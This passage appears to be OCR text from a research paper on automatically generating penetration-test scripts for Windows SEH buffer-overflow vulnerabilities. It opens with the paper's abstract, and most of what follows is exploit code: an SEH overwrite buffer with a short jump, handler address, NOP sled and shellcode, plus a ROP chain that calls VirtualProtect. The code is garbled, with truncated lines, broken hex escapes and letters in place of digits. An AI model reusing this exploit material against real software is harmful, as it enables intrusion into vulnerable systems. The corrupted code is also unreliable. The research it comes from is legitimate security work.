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Abstract

The vulnerability of buffer overflow is a serious threat for computer security. Therefore, it
is necessary to test whether the target program has this kind of vulnerability and find the entry
point for breaking as the penetration testing process being carried out. Finally, the tester also
needs to understand the attacking effects when exploiting the vulnerability. However, if the
penetration testing script can be automatically generated by a program tool, it can reduce the
cost of development of the exploits by the tester. This article introduces an implementation of
the system that can automatically generate the penetration testing script by using Windows SHE
(Structured Exception Handling) mechanism. The system can be executed through GUI

interface and the tester even needs not to investigate details of attacking skills. Thus, the
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proposed system not only can reduce the development time of generating testing script but also

can help the tester understand whether the generated scripts can successfully reach the purposes.

Keywords: Penetration Test, Automatic Script Generation, Buffer Overflow,

Vulnerability, Structured Exception Handling
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hellcode = "\xeb\x2
max_size = 4300
seh_offset = 4059

nseh = "\xeb\x13\x90\x90"
seh = 0x100229eb
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buffer += "\x90" * seh_offset

buffer + = nseh

buffer + = struct.pack(”<I", seh)
buffer += "\x90" * 30

buffer += shellcode

buffer += "A" * (max_size-len(buffer))

\global request
request = (
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f7\x31\xc0\x3 1\xdb\x31\xc9\x31\xd 2\x8a\x06\x8a!

s.connect((host, port))

ropchain = [
0x10015442, # pop eax ; ret
0x61c832dO0, # ptr to VirtualProtect

| 0x61c18d81, # xchg eax, edi ; ret
! 0x1001d626, # xor esi, esi ; ret
| 0x10021a3e, # add esi, edi ; ret 0
0x1001cbaa, # pop ebp ; ret
0x61c227fa, # ptr to jmp esp
0x10015442, # pop eax ; ret
OXFFffdffL, # -0x201
0x100231d1, # neg eax ; ret

0x10022c4c, # xor edx, edx ; ret
0x61c031cc, # inc edx ; or cl, cl ; ret
0x1001f5bd, # add esp, 4 ret
0x61c836a7, # gargabe
0x61c031cc,
0x61c031cc,
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0x1002248c, # mov eax, dword ptr [eax] ; ret
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0x1001da09, # add ebx, eax ; mov eax, dword ptr [esp + Oxc] ; inc dword ptr [eax] ; ret
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